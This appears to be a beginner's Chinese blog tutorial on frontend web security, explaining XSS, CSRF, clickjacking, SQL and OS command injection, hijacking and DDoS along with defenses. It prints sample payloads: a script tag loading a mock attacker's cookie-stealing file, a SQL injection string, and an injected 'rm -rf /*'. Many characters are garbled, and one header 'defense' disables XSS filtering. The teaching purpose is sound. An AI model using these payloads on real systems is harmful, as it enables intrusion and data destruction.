網絡安全
前端不需要過硬的網絡安全方面的知識,但是能夠了解大多數的網絡安全,并且可以進行簡單的防御前兩三個是需要的
介紹一下常見的安全問題,解決方式,和小的Demo,希望大家喜歡
網絡安全匯總
- XSS
- CSRF
- 點擊劫持
- SQL注入
- OS注入
- 請求劫持
- DDOS
在我看來,前端可以了解并且防御前4個就可以了(小聲逼逼:大佬當我沒說)
XSS
Cross Site Scripting 又叫做跨站腳本攻擊,本身應該叫做CSS,但是由于CSS被占用,無奈下叫做XSS
what is XSS?
我們先從字面意義上看一下,跨站->顧名思義就是我們從一個網站跑到了另外一個網站上,腳本->也就是我們往頁面中寫了腳本內容,可以理解為寫了js代碼,那么最后我們對網站造成了攻擊
例如: 我們在登錄了一個網站之后,一般都會把登錄狀態保存在cookie中,當我們去訪問另外一個網站的時候,就會讀取到cookie
XSS危害
- 利?虛假輸?表單騙取?戶個?信息。
- 利?腳本竊取?戶的Cookie值,被害者在不知情的情況下,幫助攻擊者發送惡意請求。
- 顯示偽造的?章或圖?。
簡單演示
// 普通
http://localhost:3000/?from=china
// alert嘗試
http://localhost:3000/?from=<script>alert(3)</script>
// 如果可以彈出3,證明這個輸入框沒有過濾html標記
模擬獲取cookie
http://localhost:3000/?from=<script src="http://localhost:4000/hack.js">
后臺代碼
const koa = require('koa'); //啟動在4000端口上
const chalk = require('chalk')
const log = contents => {console.log(chalk.red(contents)) //打印cookie
}// 模擬黑客網站
const app = new koa();module.exports = app
防御措施
- 設置HEAD
ctx.set('X-XSS-Protection', 0) // 禁?XSS過濾
- 設置HttpOnly Cookie
這是預防XSS攻擊竊取?戶cookie最有效的防御?段。Web應 ?程序在設置cookie時,將其屬性設為HttpOnly,就可以避免該??的cookie被客戶端惡意JavaScript竊取,保護?戶cookie信息。
response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly")
- CSP
內容安全策略 (CSP, Content Security Policy) 是?個附加的安全層,?于幫助檢測和緩解某些類型的攻擊,包括跨站腳本 (XSS) 和數據注?等攻擊。 這些攻擊可?于實現從數據竊取到?站破壞或作為惡意軟件分發版本等?途。
CSP 本質上就是建??名單,開發者明確告訴瀏覽器哪些外部資源可以加載和執?。我們只需要配置規則,如何攔截是由瀏覽器??實現的。我們可以通過這種?式來盡量減少
XSS 攻擊。
CSRF
CSRF(Cross Site Request Forgery),即跨站請求偽造,是?種常?的Web攻擊,它利??戶已登錄的身份,在?戶毫不知情的情況下,以?戶的名義完成?法操作。
what is CSRF?
還是從字面上去分析,跨站還是指從一個網站指向另外一個網站,于XSS不用的是,他是請求,指我們在別的網站上發出一個請求,而這個請求是偽造出來的
- ?戶已經登錄了站點 A,并在本地記錄了 cookie
- 在?戶沒有登出站點 A 的情況下(也就是 cookie ?效的情況下),訪問了惡意攻擊者提供的引誘危險站點 B (B 站點要求訪問站點A)。
- 站點 A 沒有做任何 CSRF 防御
CSRF危害
- 利??戶登錄態
- ?戶不知情
- 完成業務請求
- 盜取?戶資?(轉賬,消費)
- 冒充?戶發帖背鍋
- 損害?站聲譽
防御CSRF
- 禁?第三??站帶Cookie - 有兼容性問題
- Referer Check - Https不發送referer
- 驗證碼
點擊劫持
點擊劫持是?種視覺欺騙的攻擊?段。攻擊者將需要攻擊的?站通過 iframe 嵌套的?式嵌???的??中,并將 iframe 設置為透明,在??中透出?個按鈕誘導?戶點擊。
what is 點擊劫持?
點擊劫持說白了就是誘導用戶點擊,下面放一張圖片,估計就都了解了
如何防御點擊劫持
X-FRAME-OPTIONS
X-FRAME-OPTIONS 是?個 HTTP 響應頭,在現代瀏覽器有?個很好的?持。這個 HTTP 響應頭就是為了防御? iframe 嵌套的點擊劫持攻擊。
ctx.set('X-FRAME-OPTIONS', 'DENY')
JS方式
<head><style id="click-jack">html {display: none !important;}</style>
</head>
<body><script>if (self == top) {var style = document.getElementById('click-jack')document.body.removeChild(style)} else {top.location = self.location}</script>
</body>
SQL注入
sql是我們學習數據庫的一種語言,而注入就代表是從前端對數據庫下手
what is sql注入?
下面這段代碼可以看出來,當我們進行字符串拼接(拼接sql語句的時候),會出現一種類似于管道符的bug, 1|0,那么這句話為恒為真
// 填?特殊密碼
1'or'1'='1
// 拼接后的SQL
SELECT *
FROM test.user
WHERE username = 'laowang'
AND password = '1'or'1'='1'
防御措施
其實防御起來很簡單,每個語言都提供了不同的方式,但是原理就是不進行字符串拼接,而是用占位符
- 嚴格限制Web應?的數據庫的操作權限**,給此?戶提供僅僅能夠滿?其?作的最低權限,從?最?限度的減少注?攻擊對數據庫的危害
- 對進?數據庫的特殊字符(’,",\,<,>,&,*,; 等)進?轉義處理,或編碼轉換**。基本上所有的后端語?都有對字符串進?轉義處理的?法,?如 lodash 的 lodash._escapehtmlchar庫。
- 后端代碼檢查輸?的數據是否符合預期**,嚴格限制變量的類型,例如使?正則表達式進??些匹配處理。
后幾個我沒學過防御,前端萌新
OS命令注入
OS命令注?和SQL注?差不多,只不過SQL注?是針對數據庫的,?OS命令注?是針對操作系統的。OS命令注?攻擊指通過Web應?,執??法的操作系統命令達到攻擊的?的。只要在能調?Shell函數的地?就有存在被攻擊的?險。倘若調?Shell時存在疏漏,就可以執?插?的?法命令。
// 以 Node.js 為例,假如在接?中需要從 github 下載?戶指定的 repo
const exec = require('mz/child_process').exec;
let params = {/* ?戶輸?的參數 */};
exec(`git clone ${params.repo} /some/path`);
如果參數是
https://github.com/xx/xx.git && rm -rf /* &&
請求劫持
- DNS劫持
顧名思義,DNS服務器(DNS解析各個步驟)被篡改,修改了域名解析的結果,使得訪問到的不是預期的ip - HTTP劫持 運營商劫持,此時?概只能升級HTTPS了
DDOS
distributed denial of service 分布式系統攻擊
what is DDOS?
DDOS 不是?種攻擊,?是??類攻擊的總稱。它有??種類型,新的攻擊?法還在不斷發明出來。?站運?的各個環節,都可以是攻擊?標。只要把?個環節攻破,使得整個流程跑不起來,就達到了癱瘓服務的?的。
其中,?較常?的?種攻擊是 cc 攻擊。它就是簡單粗暴地送來?量正常的請求,超出服務器的最?承受量,導致宕機。我遭遇的就是 cc 攻擊,最多的時候全世界?概20多個 IP 地址輪流發出請求,每個地址的請求量在每秒200次~300次。我看訪問?志的時候,就覺得那些請求像洪??樣涌來,?眨眼就是??堆,?分鐘的時間,?志?件的體積就?了100MB。說實話,這只能算?攻擊,但是我的個??站沒有任何防護,服務器還是跟其他?共享的,這種流量?來?刻就下線了。
如何防御
說白了花錢解決